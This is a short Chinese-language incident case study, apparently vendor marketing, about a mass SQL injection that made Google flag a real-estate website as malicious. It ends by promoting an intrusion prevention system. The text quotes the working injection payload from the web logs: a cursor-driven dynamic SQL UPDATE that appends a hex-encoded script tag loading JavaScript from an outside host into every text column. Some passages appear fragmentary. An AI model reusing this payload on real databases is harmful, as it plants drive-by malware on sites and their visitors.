管理員小李上班首日即被叫進領導辦公室:網站在 Google 搜尋結果出現 「該網站可能含有惡意軟體,可能危害您的電腦」 的紅色警告(俗稱「Google 小尾巴」)。購房者紛紛投訴,輿情險失控。服務器全盤掃毒數次均無發現,無奈尋求專業安全廠商協助。
安全廠商分析 Web 日誌後還原攻擊全貌:
DECLARE 陳述式,游標遍歷資料庫所有可寫入字串型欄位(varchar、nvarchar、text 等)。EXEC 執行動態 SQL,對每個符合條件的欄位執行 UPDATE,將原內容替換為注入的惡意腳本。exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f"][/title][script src=https://s.see9.us/s.js][/script][!--網站擁有 10,000+ 頁面,參考網路上「修改代碼過濾關鍵字」的傳統方案,逐頁檢查修改不切實際。回顧 2007 年微軟英國官網同樣中招,證明單靠代碼層面防禦極其脆弱。
安全工程師建議部署 天清入侵防禦系統(IPS),核心優勢:
DECLARE+游標+動態 EXEC 模式),自動防御變種、加密、混淆攻擊,誤報率極低。曾見網站禁止用戶名含 select、and 等 SQL 關鍵字,導致正常用戶無法註冊。正確做法:參數化查詢 + 輸入驗證白名單 + WAF/IPS 深度防禦,而非粗暴關鍵字封鎖。